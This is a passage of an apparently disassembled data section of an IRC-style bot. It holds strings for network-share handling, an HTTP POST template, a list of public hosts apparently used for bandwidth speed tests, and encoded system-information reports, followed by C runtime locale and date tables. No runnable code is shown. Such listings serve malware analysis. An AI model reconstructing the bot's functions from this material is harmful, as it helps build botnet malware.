Network shares added.',0 dword_450C9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+2D8o aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_418406+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h asc_450D00 db 0Dh,0Ah,0 ; DATA XREF: sub_418406+F2o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_4185E1+15o aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_4185E1+1Co align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_4185E1+23o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_4185E1+2Ao align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_4185E1+31o align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_4185E1+38o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_4185E1+3Fo align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_4185E1+46o align 10h aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_4185E1+4Do align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_4185E1+54o align 10h aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_4185E1+5Bo align 10h aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_4185E1+62o aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_4185E1+69o aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_4185E1+70o align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_4185E1+77o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_4185E1+7Eo align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_4185E1+85o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_4185E1+8Co align 10h aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_4185E1+93o align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_4185E1+9Ao align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_4185E1+A1o aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_4185E1+A8o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_4185E1+AFo align 10h aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_4185E1+B6o align 10h aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_4185E1+BDo aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_4185E1+C4o align 10h dword_450EB0 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_4185E1+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 dword_450F10 dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_4187BE+52o dword_450F1C dd 3539h ; DATA XREF: sub_41897B+46o dword_450F20 dd 544Eh ; DATA XREF: sub_41897B+5Ao dword_450F24 dd 3839h ; DATA XREF: sub_41897B+6Co dword_450F28 dd 454Dh ; DATA XREF: sub_41897B+7Eo dword_450F2C dd 4B32h ; DATA XREF: sub_41897B+98o dword_450F30 dd 5058h ; DATA XREF: sub_41897B+AAo a2003 db '2003',0 ; DATA XREF: sub_41897B+BAo align 4 a??? db '???',0 ; DATA XREF: sub_41897B:loc_418A3Eo aSS_6 db '%s (%s)',0 ; DATA XREF: sub_41897B+EBo word_450F48 dw 3Fh ; DATA XREF: sub_41897B:loc_418A7Dr align 4 aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41897B:loc_418ADFo align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41897B+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41897B+1AEo align 4 dword_450F7C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41897B+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_451058 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_418C2F+48o dword_451068 dd 6C616944h, 70752Dh ; DATA XREF: sub_418C2F+5Bo off_451070 dd offset dword_4E414C ; DATA XREF: sub_418C2F:loc_418C9Co off_451074 dd offset loc_412F4E ; DATA XREF: sub_418C2F+77o off_451078 dd offset loc_412F4E ; DATA XREF: sub_418C2F+88o dword_45107C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_418C2F+AEo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh dword_4510C0 dd 1 ; DATA XREF: sub_418FC0+10r ; sub_418FC0+F2r ... dword_4510C4 dd 25h ; DATA XREF: sub_418FC0:loc_41900Cr ; sub_418FC0:loc_419175r ... dword_4510C8 dd 0FFFFFFFFh ; DATA XREF: sub_418FC0+58r ; sub_4193C0+9Er ... byte_4510CC db 0FDh ; DATA XREF: sub_418FC0+2B7r ; sub_418FC0+2D1r ... byte_4510CD db 0DDh ; DATA XREF: sub_4199B0+257r ; sub_4199B0+39Br ... byte_4510CE db 0CDh ; DATA XREF: sub_418FC0+2F1r ; sub_4193C0+377r align 10h off_4510D0 dd offset aFree ; DATA XREF: sub_4199B0+177r ; sub_4199B0+1DDr ... ; "Free" dd offset dword_437514+20h dd offset dword_437514+1Ch dd offset dword_437514+14h dd offset dword_437514+0Ch align 10h dword_4510F0 dd 173Fh ; DATA XREF: sub_41CCD0+Br dd 9875h, 9873h off_4510FC dd offset sub_41CE10 ; DATA XREF: sub_41B540+3r ; sub_41B540+Cr dd offset sub_41CE40 dd offset sub_41CE40 dword_451108 dd 1B3Fh ; DATA XREF: sub_41CEF0+Br dword_45110C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D4DD+2o ; sub_41D4E6+2o off_451120 dd offset sub_41B5A0 ; DATA XREF: sub_41EB30+22r dword_451124 dd 2 ; DATA XREF: sub_42AAC0+15r ; sub_42AB10+86r ... off_451128 dd offset dword_4EFFA0 ; DATA XREF: sub_41EB90+B3o ; sub_41ECE0+3o ... align 10h dd offset dword_4EFFA0 dd 101h dword_451138 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41EB90+11Cw dd 1000h, 0 dword_451148 dd 3 dup(0) ; DATA XREF: sub_422AF0+111o ; sub_424AA0:loc_424AF3o dd 2, 0FFFFFFFFh, 3 dup(0) dword_451168 dd 3 dup(0) ; DATA XREF: sub_422AF0+11Ao ; sub_424AA0:loc_424B05o dd 2, 0FFFFFFFFh, 83h dup(0) dword_451388 dd 8 dup(0) ; DATA XREF: sub_41ECE0+Co ; sub_41ED50+Co dword_4513A8 dd 0FFFFFFFFh ; DATA XREF: sub_41EED0+80o ; sub_41EED0+108o ... dword_4513AC dd 2 ; DATA XREF: .nsp0:0041EDEEr ; .nsp0:0041EE09r ... dd 2 dup(4) dword_4513B8 dd 0FFFFFFFFh ; DATA XREF: .nsp0:0041EE50r ; .nsp0:0041EE5Cr ... dd 2 dup(0FFFFFFFFh) off_4513C4 dd offset aWarning ; DATA XREF: sub_41F260+284r ; "Warning" dd offset aError ; "Error" dd offset dword_437D44+8 dword_4513D0 dd 0 ; DATA XREF: sub_41FAA0+1Fr ; sub_41FAA0+44r ... off_4513D4 dd offset dword_4EF900 ; DATA XREF: sub_41FA60+29r ; sub_41FAA0+8Fr dd 7 dup(0) off_4513F4 dd offset dword_4EF930 ; DATA XREF: sub_41FA60+1Cr ; sub_41FAA0:loc_41FB09r dd 3 dup(0) off_451404 dd offset dword_4EF948 ; DATA XREF: sub_41FA60+Fr ; sub_41FAA0+75r dd 3 dup(0) off_451414 dd offset dword_4EF918 ; DATA XREF: sub_41FA60+3r ; sub_41FAA0+82r dd 7 dup(0) dd 9D0B40h, 16h dup(0) off_451490 dd offset sub_41FD10 ; DATA XREF: sub_418FC0+79r ; sub_4193C0+C1r ... dd 10h dword_451498 dd 3F8h ; DATA XREF: sub_41FCA0+7r ; sub_41FD20+3Cr ... off_45149C dd offset word_4514A6 ; DATA XREF: sub_41ABF0+7Cr ; sub_41B2F0+2Dr ... off_4514A0 dd offset word_4514A6 ; DATA XREF: sub_42F970+2A4w ; sub_42F970+35Bw db 2 dup(0) word_4514A6 dw 20h ; DATA XREF: sub_42F970:loc_42FCC1o ; sub_42F970+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4516A8 dd 1 ; DATA XREF: sub_41ABF0+4Er ; sub_41B2F0:loc_41B2F6r ... byte_4516AC db 2Eh ; DATA XREF: sub_424CA0:loc_425B27r ; sub_424CA0+ED2r ... align 10h dword_4516B0 dd 1 ; DATA XREF: sub_42F1E0+169w ; sub_42F1E0+296w off_4516B4 dd offset aNull_0 ; DATA XREF: sub_422D70:loc_4231B2r ; sub_422D70+57Cr ; "(null)" off_4516B8 dd offset aNull ; DATA XREF: sub_422D70+514r ; "(null)" dword_4516BC dd 2 ; DATA XREF: sub_423C10+Fw ; sub_423C10+14r ... byte_4516C0 db 1 ; DATA XREF: sub_423EC0+12Fr db 2, 4, 8 align 8 dword_4516C8 dd 3A4h ; DATA XREF: sub_423EC0+7Er word_4516CC dw 8260h ; DATA XREF: sub_423EC0+192r dw 8279h dd 21h, 0 dword_4516D8 dd 0DFA6h ; DATA XREF: sub_423EC0+D5r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4517B8 dd 1 ; DATA XREF: sub_424800+2Cr dword_4517BC dd 16h ; DATA XREF: sub_424800+3Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_451920 dd 0D2D0920h, 5Dh ; DATA XREF: sub_424CA0:loc_4250C2o dword_451928 dd 5Dh, 0 ; DATA XREF: sub_424CA0:loc_42509Do dword_451930 dd 14h ; DATA XREF: sub_426D50+1Fr off_451934 dd offset aExp ; DATA XREF: sub_426D50+2Er ; "exp" dd 1Dh, 43818Ch, 1Ah, 438188h, 1Bh, 438180h, 1Fh, 438178h dd 13h, 438170h, 21h, 438168h, 0Eh, 438160h, 0Dh, 438158h dd 0Fh, 438150h, 10h, 438148h, 5, 438140h, 1Eh, 43813Ch dd 12h, 438138h, 20h, 438134h, 0Ch, 43812Ch, 0Bh, 438124h dd 15h, 43811Ch, 1Ch, 438114h, 19h, 43810Ch, 11h, 438104h dd 18h, 4380FCh, 16h, 4380F4h, 17h, 4380ECh, 22h, 4380E8h dd 23h, 4380E4h, 24h, 4380E0h dbl_451A08 dq 1.797693134862316e308 ; DATA XREF: sub_4268F0+E4r ; sub_4268F0:loc_4269E7r ... dd 0 dd 0FFF80000h dbl_451A18 dq 1.797693134862316e308 ; DATA XREF: sub_4268F0:loc_426A2Ar ; sub_4268F0+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_451A30 dt 2.3562723457267347066e313 ; DATA XREF: sub_427140+13r ; sub_427140+2Ar align 4 tbyte_451A3C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_427140+41r align 4 off_451A48 dd offset sub_427930 ; DATA XREF: sub_41CE50+3w ; sub_422D70+6ADr off_451A4C dd offset sub_427340 ; DATA XREF: sub_41CE50+Dw ; sub_422D70+6F1r off_451A50 dd offset sub_427450 ; DATA XREF: sub_41CE50+17w ; sub_424CA0+1138r off_451A54 dd offset sub_427290 ; DATA XREF: sub_41CE50+21w ; sub_422D70+6CFr off_451A58 dd offset sub_427420 ; DATA XREF: sub_41CE50+2Bw off_451A5C dd offset sub_427930 ; DATA XREF: sub_41CE50+35w dd offset sub_42DDD0 align 10h off_451A70 dd offset sub_428670 ; DATA XREF: sub_428720+2Dr ; sub_428720+3Dr dword_451A74 dd 43h ; DATA XREF: sub_428C90:loc_428DFCo ; .nsp0:00451B90o ... dword_451A78 dd 43h, 20h dup(0) ; DATA XREF: sub_428F30+8Do ; sub_428F30+117o ... dword_451AFC dd 43h, 20h dup(0) ; DATA XREF: sub_428F30+74o ; sub_428F30+FCo ... off_451B80 dd offset aLc_all ; DATA XREF: .nsp0:00428A1Fr ; .nsp0:00428A38r ... ; "LC_ALL" dword_451B84 dd 0 ; DATA XREF: .nsp0:00428917r ; .nsp0:00428BC0r ... off_451B88 dd offset sub_4290C0 ; DATA XREF: sub_428C90+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_451A74 dd offset sub_42FD10 dd offset aLc_ctype ; "LC_CTYPE" off_451B9C dd offset dword_451A74 ; DATA XREF: sub_428E30+F0r dd offset sub_42F970 dd offset aLc_monetary ; "LC_MONETARY" dd offset dword_451A74 dd offset sub_42F510 dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_451A74 dd offset sub_42F1E0 dd offset aLc_time ; "LC_TIME" dd offset dword_451A74 dd offset sub_42E860 dword_451BC8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_423CD0+6o ; .nsp0:00423E5Eo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_451C40 dd 3 ; DATA XREF: sub_429AB0+98r ; sub_429AB0:loc_429B5Br ... dword_451C44 dd 7 ; DATA XREF: sub_429AB0+B1r ; sub_42B3C0+17Dr dword_451C48 dd 78h ; DATA XREF: .nsp0:0042B238r ; .nsp0:0042B256r dword_451C4C dd 0Ah ; DATA XREF: sub_429C70+1Dr ; sub_429C70:loc_429CA2r ... dword_451C50 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: sub_421F10:loc_422066o ; sub_422AF0:loc_422CE9o dword_451C78 dd 2 ; DATA XREF: sub_42AB10+2Ar ; sub_42AB10+3Dr ... off_451C7C dd offset aR6002FloatingP ; DATA XREF: sub_42AB10+56r ; sub_42AB10+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 43853Ch, 9, 438510h, 0Ah, 4384ECh, 10h, 4384C0h dd 11h, 438490h, 12h, 43846Ch, 13h, 438440h, 18h, 438408h dd 19h, 4383E0h, 1Ah, 4383A8h, 1Bh, 438370h, 1Ch, 438348h dd 78h, 438338h, 79h, 438328h, 7Ah, 438318h, 0FCh, 438314h dd 0FFh, 438304h, 2 dup(0) dword_451D10 dd 2694h ; DATA XREF: sub_4261C0+3r ; .nsp0:0042622Fr ... align 8 dword_451D18 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42D910+3o dword_451D30 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_42D930+3o dword_451D48 dd 7080h ; DATA XREF: sub_4287B0+92r ; sub_42DF80+80w ... dword_451D4C dd 1 ; DATA XREF: sub_4287B0+C2r ; sub_42DF80+BFw ... dword_451D50 dd 0FFFFF1F0h ; DATA XREF: sub_4287B0+DEr ; sub_42DF80+D7w ... dword_451D54 dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_451DD4o dword_451D94 dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_451DD8o off_451DD4 dd offset dword_451D54 ; DATA XREF: sub_42DF80+FAr ; sub_42DF80+123r ... off_451DD8 dd offset dword_451D94 ; DATA XREF: sub_42DF80+140r ; sub_42DF80+16Ar ... align 10h dword_451DE0 dd 0FFFFFFFFh ; DATA XREF: sub_42DF80+30w ; sub_42E360+1Ar ... dword_451DE4 dd 0 ; DATA XREF: sub_42E360:loc_42E55Br ; sub_42E360+20Fr ... dword_451DE8 dd 0 ; DATA XREF: sub_42E360+2CFr ; sub_42E660+13Dw align 10h dword_451DF0 dd 0FFFFFFFFh ; DATA XREF: sub_42DF80+21w ; sub_42DF80+2Br ... dword_451DF4 dd 0 ; DATA XREF: sub_42E360+201r ; sub_42E360+21Dr ... dword_451DF8 dd 0 ; DATA XREF: sub_42E360+2E5r ; sub_42E660+1Dr ... dword_451DFC dd 0FFFFFFFFh ; DATA XREF: sub_42E660+B0r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_451E2C dd 16Dh ; DATA XREF: sub_4287B0+2Er ; sub_42E660+2Cr ... dword_451E30 dd 0FFFFFFFFh ; DATA XREF: sub_42E660+BFr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 3 dup(0) dword_451E70 dd 40Ah ; DATA XREF: sub_4308C0+3Er ; sub_4308C0+147r a040a db '040a',0 ; DATA XREF: sub_4308C0+9Ao align 4 off_451E7C dd offset aSpanishTraditi ; DATA XREF: sub_4308C0+ABr ; "Spanish - Traditional Sort" off_451E80 dd offset byte_505345 ; DATA XREF: sub_4308C0+BCo off_451E84 dd offset aSpain ; DATA XREF: sub_4308C0+CDr ; "Spain" off_451E88 dd offset byte_505345 ; DATA XREF: sub_4308C0+DEo dword_451E8C dd 303538h, 0 ; DATA XREF: sub_4308C0+EFo a1252 db '1252',0 ; DATA XREF: sub_4308C0+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd offset loc_415244+2 dd offset aFrance ; "France" dd offset loc_415244+2 dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd offset byte_515545 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425244+2 dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset loc_414544 dd offset aAustria ; "Austria" dd 545541h, 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset loc_414E45 dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset loc_435246 dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h, 438784h, 454843h, 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset loc_435345 dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset loc_415344+1 dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h, 438754h, 46415Ah, 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset byte_445345 dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h, 438734h, 4E4556h, 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4F5345 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h, 438720h, 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h, 438714h, 475241h, 303538h, 0 a1252_21 db '1252',0 align 4 a0_0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4_0 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8_0 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h, 4386FCh, 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h, 4386F0h, 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_452314 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch ; DATA XREF: sub_430790+34r dw 810h, 81Dh off_452328 dd offset aAmerica ; DATA XREF: sub_42FDA0+9Co ; "america" dd offset locret_415355 dd offset aBritain ; "britain" dd 524247h, 438944h, 4E4843h, 43893Ch, 455A43h, 438934h dd 524247h, 438924h, 524247h, 43891Ch, 444C4Eh, 438910h dd 474B48h, 438904h, 4C5A4Eh, 438900h, 4C5A4Eh, 4388F4h dd 4E4843h, 4388E8h, 4E4843h, 4388DCh, 495250h, 4388D4h dd 4B5653h, 4388C4h, 46415Ah, 4388B8h, 524F4Bh, 4388A8h dd 46415Ah, 43889Ch, 524F4Bh, 438888h, 4F5454h, 438964h dd 524247h, 438878h, 524247h, 438868h, 415355h, 438960h dd 415355h off_4523E0 dd offset aAmerican ; DATA XREF: sub_42FDA0+67o ; "american" dd 554E45h, 438D50h, 554E45h, 438D3Ch, 554E45h, 438D30h dd 414E45h, 438D28h, 424C4Eh, 438D1Ch, 434E45h, 438D18h dd 48485Ah, 438D14h, 49485Ah, 438D0Ch, 534843h, 438CF8h dd 48485Ah, 438CE4h, 534843h, 438CD0h, 49485Ah, 438CBCh dd 544843h, 438CACh, 424C4Eh, 438C98h, 554E45h, 438C8Ch dd 414E45h, 438C7Ch, 4C4E45h, 438C70h, 434E45h, 438C5Ch dd 424E45h, 438C50h, 494E45h, 438C40h, 4A4E45h, 438C34h dd 5A4E45h, 438C1Ch, 534E45h, 438C00h, 544E45h, 438BF4h dd 474E45h, 438BE8h, 554E45h, 438BDCh, 554E45h, 438BCCh dd 425246h, 438BBCh, 435246h, 438BA8h, 4C5246h, 438B98h dd 535246h, 438B88h, 414544h, 438B74h, 434544h, 438B60h dd 4C4544h, 438B50h, 534544h, 438B40h, 494E45h, 438B30h dd 535449h, 438B24h, 524F4Eh, 438B10h, 524F4Eh, 438AFCh dd 4E4F4Eh, 438AE4h, 425450h, 438AD0h, 535345h, 438AC0h dd 425345h, 438AB0h, 4C5345h, 438A9Ch, 4F5345h, 438A88h dd 435345h, 438A6Ch, 445345h, 438A5Ch, 465345h, 438A48h dd 455345h, 438A34h, 475345h, 438A20h, 485345h, 438A10h dd 4D5345h, 438A00h, 4E5345h, 4389ECh, 495345h, 4389DCh dd 415345h, 4389C8h, 5A5345h, 4389B8h, 525345h, 4389A4h dd 555345h, 438994h, 595345h, 438980h, 565345h, 438970h dd 465653h, 438968h, 534544h, 438964h, 474E45h, 438960h dd 554E45h, 43895Ch, 554E45h off_4525E8 dd offset off_4525F0 ; DATA XREF: sub_42E860+70w ; sub_42E860:loc_42E901w ... align 10h off_4525F0 dd offset aSun ; DATA XREF: sub_42E860:loc_42E901o ; .nsp0:off_4525E8o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset dword_438DA8+34h dd offset dword_438DA8+30h dd offset dword_438DA8+2Ch dd offset dword_438DA8+24h dd offset dword_438DA8+10h dd offset dword_438DA8+8 align 10h dword_4526A0 dd 2Eh, 0 ; DATA XREF: sub_42F1E0+EEo ; .nsp0:off_4526A8o off_4526A8 dd offset dword_4526A0 ; DATA XREF: sub_42F510+D4w ; sub_42F510+F6o ... off_4526AC dd offset dword_4EFC04 ; DATA XREF: sub_42F510+E2w off_4526B0 dd offset dword_4EFC04 ; DATA XREF: sub_42F510+F1w dd offset dword_4EFC04 dd offset dword_4EFC04 dd offset dword_4EFC04 dd offset dword_4EFC04 dd offset dword_4EFC04 dd offset dword_4EFC04 dd offset dword_4EFC04 dd 2 dup(7F7F7F7Fh) off_4526D8 dd offset off_4526A8 ; DATA XREF: sub_42F1E0:loc_42F2C9r ; sub_42F1E0+F8r ... align 10h dword_4526E0 dd 2 dup(0) ; DATA XREF: sub_4344A0+6o dd 4002A000h, 2 dup(0) dd 